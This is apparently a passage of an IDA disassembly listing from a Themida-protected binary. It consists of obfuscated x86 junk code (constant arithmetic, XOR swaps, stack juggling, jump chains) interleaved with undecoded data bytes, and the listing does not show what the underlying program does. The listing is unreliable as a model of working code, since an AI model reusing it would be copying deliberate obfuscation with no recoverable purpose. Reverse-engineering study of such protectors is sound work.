; ---------------------------------------------------------------------------


loc_637FA0:				; CODE XREF: Themida_:00649442j
		add	ebx, 8FBEAFEFh
		mov	ecx, ebx
		pop	ebx
		jmp	loc_638F4F
; ---------------------------------------------------------------------------
aISsfj		db ',$Sj',0
		db 0
; ---------------------------------------------------------------------------


loc_637FB7:				; CODE XREF: Themida_:0064331Cj
		sub	eax, esi
		push	ecx
		mov	ecx, 74451659h
		push	edi
		mov	edi, 0
		sub	edi, ecx
		xchg	edi, ecx
		pop	edi
		xor	ecx, 0C10985C6h
		add	eax, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_6404B7
; ---------------------------------------------------------------------------


loc_637FE9:				; CODE XREF: Themida_:00637547j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, 467046CCh
		jmp	loc_641872
; ---------------------------------------------------------------------------
		dw 3489h
		dd 2474FF24h, 48F5E04h,	89665C24h, 50662414h, 559CE99Ch
		dd 1C890000h, 0E95B5424h, 0D071h, 8308EEC1h, 0EE8101C6h
		dd 50E8598Dh, 5527BB53h, 0CAE97AA0h, 83000053h,	0F00207Fh
		dd 566C84h, 9EE95000h, 66000016h, 50240C8Bh, 0BB53E089h
		dd 59A70B9Ah, 279DE94Bh, 0C4810001h, 4,	8B240487h, 6DE92424h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63806B:				; CODE XREF: Themida_:00640CB9j
		mov	ebx, esi
		pop	esi
		pop	ecx
		add	[esp+4], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_647415
; ---------------------------------------------------------------------------


loc_638081:				; CODE XREF: Themida_:00647C6Ej
		mov	ebx, 472A2924h
		or	ebx, 501444EFh
		jmp	loc_645A29
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 57h
		dd 0A820FEBFh, 1F7816Fh, 811D7F0Ch, 0B152A0C7h,	2CE9557Fh
		dd 810000C9h, 0CD45C7h,	5FFE01C0h, 5C243487h, 1396E951h
		db 1, 0
; ---------------------------------------------------------------------------


loc_6380BE:				; CODE XREF: Themida_:00645117j
		mov	eax, 564F4875h
		push	ebp
		jmp	loc_63B1E0
; ---------------------------------------------------------------------------


loc_6380C9:				; CODE XREF: Themida_:0063CE39j
		pop	eax
		jmp	loc_635AE1
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 83000000h,	148704EAh, 14895C24h, 5966BA24h
		dd 0D3012CCDh, 43C3815Ah, 0E9597063h, 11BF3h, 3166AD66h
		dd 6C2368D8h, 14890000h, 0BB665324h, 436651A2h,	70EB8166h
		dd 167BE935h, 0DA290001h, 2414875Bh, 546CE95Ch,	0EB810000h
		dd 1CE51493h, 2487EB81h, 0AFE911CEh, 6800004Eh,	334F544Bh
		dd 0E9D1095Ah, 0B8D1h, 0EC61C381h, 0FB2927EEh, 9369E9h
		db 0
; ---------------------------------------------------------------------------


loc_638149:				; CODE XREF: Themida_:0063EFD6j
		pop	esi
		jmp	loc_63C0FC
; ---------------------------------------------------------------------------
		db 81h
		dd 77A266F3h, 5BDD0101h, 0AA09E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63815E:				; CODE XREF: Themida_:00636652j
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, 0C963FC8h
		jmp	loc_63A230
; ---------------------------------------------------------------------------
		dw 0E1C0h
		dd 6778E903h, 34FF0000h, 5ADCE924h, 29660000h, 0C28166F2h
		dd 6DE9403Ch, 55FFFFE5h, 0D675E9h, 63B86800h, 92E92FC4h
		db 0CDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_63819F:				; CODE XREF: Themida_:0064356Fj
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_641769
; ---------------------------------------------------------------------------
		dd 5081F680h, 0A3448B0h, 0D347A34h, 32E9C600h, 890000A0h
		dd 4BB241Ch, 0E9000000h, 0D27Ah, 5C240C87h, 68595451h
		dd 20AEh, 0E9241C89h, 0FFFFF454h, 7585F681h, 36E900A5h
		dd 5B000116h, 0C8284104h, 59412Ch, 0EC8352F8h, 240C8904h
		dd 36EAE9h, 0E5C15D00h,	2BA5202h, 8109B071h, 45B555C2h
		dd 5AD53155h, 14B6E9h
		db 0
; ---------------------------------------------------------------------------


loc_63821D:				; CODE XREF: Themida_:0063BA7Ej
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4791008Ah
		and	ebp, 71E00A09h
		not	ebp
		shl	ebp, 2
		push	edi
		push	eax
		mov	eax, 6F016985h
		mov	edi, 6DC274D9h
		xor	edi, eax
		pop	eax
		and	ebp, edi
		pop	edi
		xor	ebp, 0F611BFh
		sub	ebx, 54A76648h
		sub	ebx, ebp
		add	ebx, 54A76648h
		pop	ebp
		push	6ADDh
		mov	[esp], ecx
		jmp	loc_63BDC6
; ---------------------------------------------------------------------------


loc_638268:				; CODE XREF: Themida_:0064633Aj
		not	ecx
		xchg	ecx, [esp]
		pop	edx
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		dec	ebx
		not	ebx
		sub	ebx, 1117BE15h
		or	edx, ebx
		jmp	loc_63F85E
; ---------------------------------------------------------------------------
		dd 34FFD831h, 0F1E95B24h, 81FFFFEFh, 4C4h, 2AED8000h, 0E9E9CDFEh
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63829F:				; CODE XREF: Themida_:00647E96j
		mov	[esp], ecx
		mov	ecx, 2E501EEEh
		or	ecx, 25FD3D04h
		sub	ecx, 0FFFFFFFFh
		jmp	loc_643116
; ---------------------------------------------------------------------------
		dd 31366866h, 24148966h, 0EAC0ABB2h, 0F6C28605h, 3A08E9D0h
		dd 0EE810000h, 73EE3315h, 6EC6814Eh, 0E96A0058h, 0FFFFF013h
		dd 0B5C1815Dh, 102814Ah, 0B5BE56D9h, 6802814Ah,	47F2h
		dd 53242C89h, 7179E9h, 82F38000h, 35E99304h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_638307:				; CODE XREF: Themida_:00636B54j
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	4C8Bh
		mov	[esp], esi
		jmp	loc_6468CE
; ---------------------------------------------------------------------------


loc_63831F:				; CODE XREF: Themida_:00642316j
		pop	edx
		push	edi
		mov	edi, 48CB0428h
		shl	edi, 2
		dec	edi
		sub	edi, 50C63B1Ch
		add	edi, 8D8B8179h
		add	edx, 2AF62CE6h
		sub	edx, edi
		sub	edx, 2AF62CE6h
		jmp	loc_64AB5D
; ---------------------------------------------------------------------------


loc_638349:				; CODE XREF: Themida_:0063AFA9j
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_648C5E
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 0AC44E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_638366:				; CODE XREF: Themida_:00640011j
		push	eax
		mov	eax, 5A9E01D3h
		dec	eax
		jmp	loc_6421FD
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 68240C89h, 486Eh,	0B3241C89h, 0E9DD88F0h,	1DECh
		dd 8D8EE950h, 0E9530000h, 0D2DFh
; ---------------------------------------------------------------------------


loc_638398:				; CODE XREF: Themida_:00645034j
		push	ecx
		push	2D1B5CB4h
		pop	ecx
		add	ecx, 6C2F3DEDh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 30D758FEh
		jmp	loc_64A7E2
; ---------------------------------------------------------------------------


loc_6383B5:				; CODE XREF: Themida_:00640DFAj
		sub	edx, ecx
		pop	ecx
		add	edx, 0E49A94E8h
		push	ecx
		mov	ecx, 4B6245DBh
		add	ebx, ecx
		pop	ecx
		add	ebx, edx
		sub	ebx, 4B6245DBh
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		test	ecx, eax
		pushf
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 36881240h, 0DD29E9h,	24148B00h, 114E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_6383F5:				; CODE XREF: Themida_:00643CDEj
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_63EE26
; ---------------------------------------------------------------------------


loc_638400:				; CODE XREF: Themida_:0063C8A8j
		xchg	ebx, esi
		jmp	loc_636DA0
; ---------------------------------------------------------------------------
		db 5
		dd 4, 0E9240487h, 706Dh, 2D7368h, 243C8900h, 72866855h
		dd 63E92308h, 89000088h, 176A68E1h, 2C890000h, 215FBD24h
		dd 51E91C05h, 500011Eh,	4, 5C240487h, 50E38953h, 4B8h
		dd 0E070E900h, 0F1810000h, 0CB700938h, 6859CF21h, 2BBAh
		dd 51241C89h, 0FA1094B9h, 0C1D1F732h, 0E94903E1h, 0B28h
		dd 33240C31h, 43E9240Ch
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_63847F:				; CODE XREF: Themida_:0064A5CAj
		push	ecx
		mov	ecx, 33DD73EAh
		xor	ecx, 5DAD1DA6h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6E706E48h
		xor	ecx, eax
		pop	eax
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_63BB8A
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 4BA52h, 0D7010000h, 79CE9h, 57BD5500h, 31F0BBFEh
		dd 0C5E95DE8h, 810000FDh, 3345F4C7h, 1FC3E978h,	0CAE90000h
		dd 80FFFFD0h, 0E2084AF4h, 92EA8058h, 0E95AD300h, 2520h
; ---------------------------------------------------------------------------


loc_6384EC:				; CODE XREF: Themida_:00637633j
		add	ebx, ecx
		pop	ecx
		add	ebx, edi
		push	edx
		jmp	loc_6355BF
; ---------------------------------------------------------------------------


loc_6384F7:				; CODE XREF: Themida_:00636C52j
		push	esi
		mov	esi, 4B857AF4h
		or	edi, esi
		pop	esi
		inc	edi
		xor	edi, 72823179h
		jmp	loc_63EBE8
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0DB2Ch, 8904EC83h, 0FA882414h, 148BD188h
		dd 4C48124h, 0E9000000h, 0CF65h, 3304C283h, 4BE92414h
		db 0Eh,	1, 0
; ---------------------------------------------------------------------------


loc_638537:				; CODE XREF: Themida_:0064344Fj
		xor	ch, 87h
		xor	ch, 2
		add	dl, ch
		pop	ecx
		push	ecx
		mov	ch, 0F6h
		sub	dl, ch
		jmp	loc_637C88
; ---------------------------------------------------------------------------


loc_63854A:				; CODE XREF: Themida_:00644DBEj
		push	6BFCh
		mov	[esp], ebx
		push	ebp
		jmp	loc_642F5D
; ---------------------------------------------------------------------------
		dd 77FCC381h, 0E8E935A1h, 310000EDh, 0E9575BDAh, 10A6Eh
; ---------------------------------------------------------------------------


loc_63856C:				; CODE XREF: Themida_:00637D5Dj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		push	5284053Ah
		jmp	loc_642603
; ---------------------------------------------------------------------------
		db 89h
		dd 91B1240Ch, 88CE8852h, 0FFE95AF7h, 810000D4h,	4C4h, 29C38100h
		dd 5732F40Ah, 0FA46E9BFh, 5FFB2953h, 201CC381h,	92E93709h
		db 0Dh,	1, 0
; ---------------------------------------------------------------------------


loc_6385B3:				; CODE XREF: Themida_:00642DCBj
		mov	[esp], ebx
		push	41E7h
		mov	[esp], edx
		jmp	loc_63CA99
; ---------------------------------------------------------------------------


loc_6385C3:				; CODE XREF: Themida_:0064ABC6j
		mov	esi, 64C003CEh
		jmp	loc_64A235
; ---------------------------------------------------------------------------


loc_6385CD:				; CODE XREF: Themida_:006480CDj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	eax, 668A3AACh
		jmp	loc_63E72D
; ---------------------------------------------------------------------------


loc_6385FF:				; CODE XREF: Themida_:00643086j
		sub	esp, 4
		mov	[esp], edi
		push	6EEA330Fh
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, edi
		push	eax
		mov	eax, ebx
		mov	ebp, eax
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		push	795Eh
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_63F6FC
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0A8h
		dd 810FBC4Fh, 5577FEBh,	81F30161h, 5577FC3h, 0A8C38161h
		dd 830FBC4Fh, 2C8904ECh, 0EEB5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63867A:				; CODE XREF: Themida_:006448BBj
		push	416D2A95h
		jmp	loc_63C59D
; ---------------------------------------------------------------------------
		dd 1E59E952h, 1C890001h, 525B5424h, 270BF57h, 28E95E58h
		db 13h,	1, 0
; ---------------------------------------------------------------------------


loc_63869B:				; CODE XREF: Themida_:0063A6B7j
		pop	esp
		jmp	loc_63FCCE
; ---------------------------------------------------------------------------


loc_6386A1:				; CODE XREF: Themida_:00636884j
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_63EDCC
; ---------------------------------------------------------------------------
		dd 248E68h, 48F5400h, 0F9E95624h
		db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_6386BB:				; CODE XREF: Themida_:006413C4j
		push	180h
		mov	[esp], edx
		push	ecx
		mov	ecx, 60925E2Ah
		mov	edx, ecx
		jmp	loc_644BB1
; ---------------------------------------------------------------------------
		dd 60CDEB81h, 0E3C16862h, 0EB814302h, 0F349A462h, 0E95BD829h
		dd 8098h, 81E28952h, 4C2h, 0C1E5E900h, 0E8310000h, 83242C8Bh
		dd 0C30104C4h, 74FF5358h, 8F5B0424h, 248B2404h,	0BB0F6624h
		dd 0E99C2404h, 0FFFFCE8Dh, 0D9F7D1F7h, 62C18149h, 8956B13Eh
		dd 55AEE9C8h, 0E9560000h, 0CA2Ch
; ---------------------------------------------------------------------------


loc_638730:				; CODE XREF: Themida_:00644545j
		push	esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	55D5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_6416DE
; ---------------------------------------------------------------------------
		dd 0E9F2EB80h, 109B5h, 0E92434FFh, 8441h, 4C281h, 51500000h
		dd 0BC6D04B9h, 0A6E98157h, 0E9010B2Eh, 0FFFFEF81h, 102D68h
		dd 24148900h, 5C7C68h, 24248900h, 4240481h, 0E9000000h
		dd 78E7h
; ---------------------------------------------------------------------------


loc_6387B4:				; CODE XREF: Themida_:0064A841j
		add	edx, 0F127C612h
		jmp	loc_647CC1
; ---------------------------------------------------------------------------
aI4Hrx		db '4$hRX',0
		dw 0E900h
		dd 103FEh
; ---------------------------------------------------------------------------


loc_6387CC:				; CODE XREF: Themida_:00640552j
		push	ecx
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_64A7FE
; ---------------------------------------------------------------------------


loc_6387DB:				; CODE XREF: Themida_:0064095Bj
		add	esp, 4
		push	4282h
		mov	[esp], edi
		jmp	loc_6455E7
; ---------------------------------------------------------------------------


loc_6387EE:				; CODE XREF: Themida_:00646749j
		mov	eax, [esp]
		push	2279h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		jmp	loc_642BAE
; ---------------------------------------------------------------------------
		dd 3801BABEh, 0CFC68150h, 0C10E1D5Dh, 0C68102E6h, 0BF064611h
		dd 0E95EF029h, 0FFFFE195h, 57243489h, 0A7695F68h, 0E7C15F2Dh
		dd 0F4F78104h, 89DA7695h, 0E9555FFEh, 0CAB0h, 241C8B5Ch
		dd 4C481h, 0C6800000h, 80CE287Bh, 0BBE97BEEh
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_638863:				; CODE XREF: Themida_:00646862j
		mov	esi, 77FD004Ch
		push	ebx
		mov	ebx, 9C08B1C5h
		xor	esi, ebx
		pop	ebx
		xor	ebp, esi
		pop	esi
		inc	ebp
		not	ebp
		shl	ebp, 4
		jmp	loc_643D59
; ---------------------------------------------------------------------------
		db 59h
		dd 64F0E956h, 34FF0000h, 0C4835A24h, 3266E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_638892:				; CODE XREF: Themida_:0063586Dj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		push	ecx
		jmp	loc_63F06E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 75E92434h, 5000117h,	670B07DBh, 5E2434FFh, 81E38953h
		dd 4C3h, 4C38300h, 5C241C87h, 0E9E18951h, 4E67h
; ---------------------------------------------------------------------------


loc_6388D4:				; CODE XREF: Themida_:006425B1j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_642CD0
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0FF545024h, 83582434h, 0E26804C4h, 8900007Fh, 0B850241Ch
		dd 4, 0E9C68956h, 0FFFFEC87h, 88BEB353h, 241C8BD9h, 0C004C483h
		dd 0F18007E9h, 0CA686619h, 1C89664Bh, 2033B324h, 0F65B66D9h
		dd 0E7E980D1h, 30D8E980h, 0C2E959CAh, 5600002Eh, 0F72C5DBEh
		dd 0F25E92Eh, 0BA520000h, 4, 815AD601h,	4C6h, 24348700h
		dd 0A538E95Ch, 0EB800000h, 80CB008Ah, 0EDE98AC3h, 68FFFFEBh
		dd 6A94h, 89243C89h, 5CE950E7h,	81FFFFF4h, 5541C0CAh, 0B4F28148h
		dd 29581BACh, 24148BD7h, 8104C483h, 5A6681C7h, 92EF810Bh
		dd 150563Dh, 92C781EFh,	8150563Dh, 5A6681EFh, 7FC7810Bh
		dd 5D00E45Dh, 418EF81h,	0B8E9106Eh, 87000084h, 95E9243Ch
		dd 2DFFFFFEh, 7E8B56D6h, 0BB53D801h, 7E8B56D6h,	0D75DE9h
		db 0
; ---------------------------------------------------------------------------


loc_6389C9:				; CODE XREF: Themida_:00647871j
		sub	edx, 0DA1D5656h
		jmp	loc_646489
; ---------------------------------------------------------------------------
		dd 0F2C0C381h, 0BE56EFFFh, 689569E0h, 4B31EE81h, 0F02925B6h
		dd 5D8015Eh, 42DF1EAFh,	4E8835Bh, 8B240487h, 0A8682424h
		dd 0E9000030h, 0FB23h, 8124048Bh, 4C4h,	5C83E900h, 0EC810000h
		dd 4, 0E9242C89h, 0A4EAh, 0BEE980h, 0C78059CFh,	0E9F9002Bh
		dd 2D2h
; ---------------------------------------------------------------------------


loc_638A30:				; CODE XREF: Themida_:0063BDC1j
		sub	ebp, 7AD02348h
		add	ebp, 12D3A3E0h
		sub	ebx, 35824792h
		sub	ebx, ebp
		jmp	loc_63E91A
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 240C895Ch, 0AD685FB9h, 24448130h, 54666B08h,	244C0138h
		dd 246C8108h, 54666B08h, 6C815938h, 12760424h, 0E95D6069h
		dd 0FFFFCB2Dh, 8124C181h, 0C681B922h, 25C311A3h, 555FE9h
		dd 0E9028F00h, 0FFFFCB15h, 4C681h, 1AE90000h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_638A9B:				; CODE XREF: Themida_:00636DE0j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 35FE57D4h
		inc	ebx
		xor	ebx, 5BD7098Dh
		neg	ebx
		inc	ebx
		jmp	loc_63A1FF
; ---------------------------------------------------------------------------
		dd 0BA241489h, 175561C6h, 148BD101h, 4C48324h, 334AF181h
		dd 0CE683597h, 89000079h, 0C5BE2434h, 4E500C31h, 808BB951h
		dd 0CE01BE8Fh, 0FFF13159h, 815E2434h, 4C4h, 4EC8300h, 0BD242C89h
		dd 7A439F4h, 444FCD81h,	0EC83789Bh, 241C8904h, 2271E9h
		dd 24040100h, 0CA8FE99Ch, 0EC81FFFFh, 4, 0B8240489h, 0C76618BDh
		dd 0FFCC44E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_638B29:				; CODE XREF: Themida_:0063D76Dj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_6400B6
; ---------------------------------------------------------------------------
		db 89h
		dd 4BD242Ch, 1000000h, 4055DE8h, 87000000h, 0E95C2404h
		dd 0CDDBh, 8B241487h, 0EC812424h, 4, 0B9240C89h, 4, 5759CE01h
		dd 0CDE8E955h, 0C6810000h, 3BF50414h, 0E1F2B850h, 0EE815F6Eh
		dd 18351BB5h, 0C681C601h, 18351BB5h, 0E924048Bh, 107D7h
		dd 55846850h, 0C890000h, 4B924h, 0C8890000h, 0F1E1E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_638BA6:				; CODE XREF: Themida_:0064319Cj
		sub	ebp, 37002CDh
		push	ebx
		mov	ebx, 4715425Eh
		sub	ebp, ebx
		pop	ebx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ecx
		jmp	loc_63C476
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 0C1h
		dd 0DEF702EEh, 10DCFE9h, 12A2B900h, 814956DAh, 3E5341C1h
		dd 0E9C829DFh, 301Fh
; ---------------------------------------------------------------------------


loc_638BE0:				; CODE XREF: Themida_:00639595j
		push	esp
		push	dword ptr [esp]
		pop	esi
		jmp	loc_648926
; ---------------------------------------------------------------------------
		dw 0DBF6h
		dd 0B151E9h, 0C9AFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_638BF6:				; CODE XREF: Themida_:0063CFC0j
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_6438C4
; ---------------------------------------------------------------------------
		dd 80FAB551h, 706804EDh, 0E9000031h, 0B260h, 4BD55h, 0E9010000h
		dd 83242C8Bh, 0F16804C4h, 89000010h, 9FE9240Ch
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_638C33:				; CODE XREF: Themida_:0064A67Ej
		dec	ebx
		shl	ebx, 2
		xor	ebx, 21AC0A6Dh
		shl	ebx, 6
		xor	ebx, 66EA8144h
		add	edx, ebx
		jmp	loc_64A0D2
; ---------------------------------------------------------------------------
		db 59h,	81h, 0ECh
		dd 4, 0B612E9h,	3C875A00h, 0D8305C24h, 0B753665Bh, 0C82CB0h
		dd 0E95351F8h, 39E8h, 4C181h, 0BB530000h, 56BA09ECh, 0A24E9h
		db 0
; ---------------------------------------------------------------------------


loc_638C81:				; CODE XREF: Themida_:00636500j
		pop	esp
		jmp	loc_64289F
; ---------------------------------------------------------------------------
		db 3Bh
		dd 16E99CC8h, 57FFFFC9h, 4724FDBFh, 0A97FE95Ah,	0E9530000h
		dd 8778h
; ---------------------------------------------------------------------------


loc_638CA0:				; CODE XREF: Themida_:0063D1FFj
		add	eax, 758F4AEAh
		add	eax, 4B4F09EAh
		sub	eax, edi
		jmp	loc_6369D7
; ---------------------------------------------------------------------------
aYsi?		db 'Yi?',0
		dw 4F00h
		dd 0B3BC781h, 0FE891DAFh, 0E3F4E95Fh, 5B680000h, 89000005h
		dd 78E9241Ch, 8300010Ah, 0D00004C4h, 0B652AE04h, 5AF0003Dh
		dd 8324148Bh, 506604C4h, 3064E9h
		db 0
; ---------------------------------------------------------------------------


loc_638CED:				; CODE XREF: Themida_:006435EFj
		push	esp
		jmp	loc_643381
; ---------------------------------------------------------------------------


loc_638CF3:				; CODE XREF: Themida_:006361B4j
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_642456
; ---------------------------------------------------------------------------
		dw 535Bh
		dd 0F78068B7h, 71C78076h, 5BF800h, 8B8F2CC8h, 5B68240Ch
		dd 0E900003Bh, 0F4E6h, 0C106EEC1h, 0CE8108EEh, 66044928h
		dd 0D6F7DEF7h, 110FEE81h, 0C5815076h, 1273476Ch, 0A44BE56h
		dd 0F5012E3Fh, 81F5295Eh, 3F0A44EDh, 6CED812Eh,	8B127347h
		dd 0C4832434h, 0BF5704h, 87738C19h, 0E9D1F7CFh,	1136h
		dd 0C2FFE9ACh, 14890000h, 0B0505324h, 4D02447h,	58C38820h
		dd 0E9DC8850h, 941h, 4C4835Bh, 4DE6E9h,	241C3100h, 119DAE9h
		db 0
; ---------------------------------------------------------------------------


loc_638D95:				; CODE XREF: Themida_:00637824j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_64498C
; ---------------------------------------------------------------------------
		dw 902Dh
		dd 17BDA68h, 689005F8h,	3C8B7BDAh, 4C48324h, 10D2E9h, 5B932C00h
		dd 5166D828h, 4E6068h, 241C8900h, 3958E9h
		db 0
; ---------------------------------------------------------------------------


loc_638DD5:				; CODE XREF: Themida_:006409F8j
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_63AEF9
; ---------------------------------------------------------------------------


loc_638DEE:				; CODE XREF: Themida_:00648B4Aj
		mov	eax, [esp]
		jmp	loc_639C41
; ---------------------------------------------------------------------------
		dw 5266h
		dd 0F4881FB6h, 53685A66h, 89000041h, 26B3241Ch,	0C0ACCB80h
		dd 0B45004E3h, 2565E9C4h, 34890000h, 61B85024h,	0C116CA4Ch
		dd 524807E8h, 0D50510BAh, 35B5E93Dh, 0C1010000h, 93BF5758h
		dd 0F755E956h, 0EE781DFh, 810BD577h, 142108EFh,	5FF9010Ah
		dd 0E9240C87h, 7203h, 0C781E789h, 4, 0A8EFE9h
		db 0
; ---------------------------------------------------------------------------


loc_638E5D:				; CODE XREF: Themida_:006475B2j
		add	esp, 4
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_63AA1C
; ---------------------------------------------------------------------------
		db 51h
		dd 6DE97CB1h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_638E7F:				; CODE XREF: Themida_:0064A2D8j
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_636CAF
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 5Dh
		dd 81673634h, 330FFFE9h, 81C1012Dh, 330FFFC1h, 5DBA522Dh
		dd 0E9673634h, 0BD63h
; ---------------------------------------------------------------------------


loc_638EB8:				; CODE XREF: Themida_:0064119Dj
		push	esi
		mov	esi, esp
		jmp	loc_639ED5
; ---------------------------------------------------------------------------
		dd 29C16853h, 815B4321h, 5607B0E3h, 0BC05E969h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_638ED2:				; CODE XREF: Themida_:00639FA2j
		pop	ebx
		jmp	loc_645E00
; ---------------------------------------------------------------------------


loc_638ED8:				; CODE XREF: Themida_:0063A935j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_641D0A
; ---------------------------------------------------------------------------


loc_638EF1:				; CODE XREF: Themida_:00636A2Fj
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_635CF9
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 56000000h, 0B71ECA68h, 7E85E90Eh, 9F680000h,	89000032h
		dd 12E92414h, 5000028h,	4, 0ABB85052h, 0C11E8720h, 112D03E8h
		dd 8903D0E4h, 0D00158C2h, 3A4E9h, 0FDE95800h
		db 3, 1, 0
; ---------------------------------------------------------------------------


loc_638F4F:				; CODE XREF: Themida_:00637FA9j
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, ebx
		jmp	loc_6396CC
; ---------------------------------------------------------------------------


loc_638F66:				; CODE XREF: Themida_:00647A28j
		pop	ecx
		add	ebp, 6CA82B2Eh
		pop	ecx
		add	ecx, ebp
		pop	ebp
		jmp	loc_637E21
; ---------------------------------------------------------------------------
		dw 5A5Eh
		dd 4478C281h, 0F22949A8h, 328CE9h
		db 0
; ---------------------------------------------------------------------------


loc_638F85:				; CODE XREF: Themida_:00640E10j
		push	452Ah
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_64607C
; ---------------------------------------------------------------------------
		dd 0E904C483h, 3E7Bh, 2011F181h, 0CB897018h, 9A19E9h, 24740100h
		dd 24348B04h, 4C481h, 148B0000h, 0E2895224h, 4C281h, 0EC810000h
		dd 4, 0E9242C89h, 1041Bh, 0B8240489h, 6B934B7Eh, 8B07E940h
		dd 34FF0000h, 24048B24h, 81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 6D0C68h, 243C8900h, 0BB53E789h, 44A72B15h, 5CE4E381h
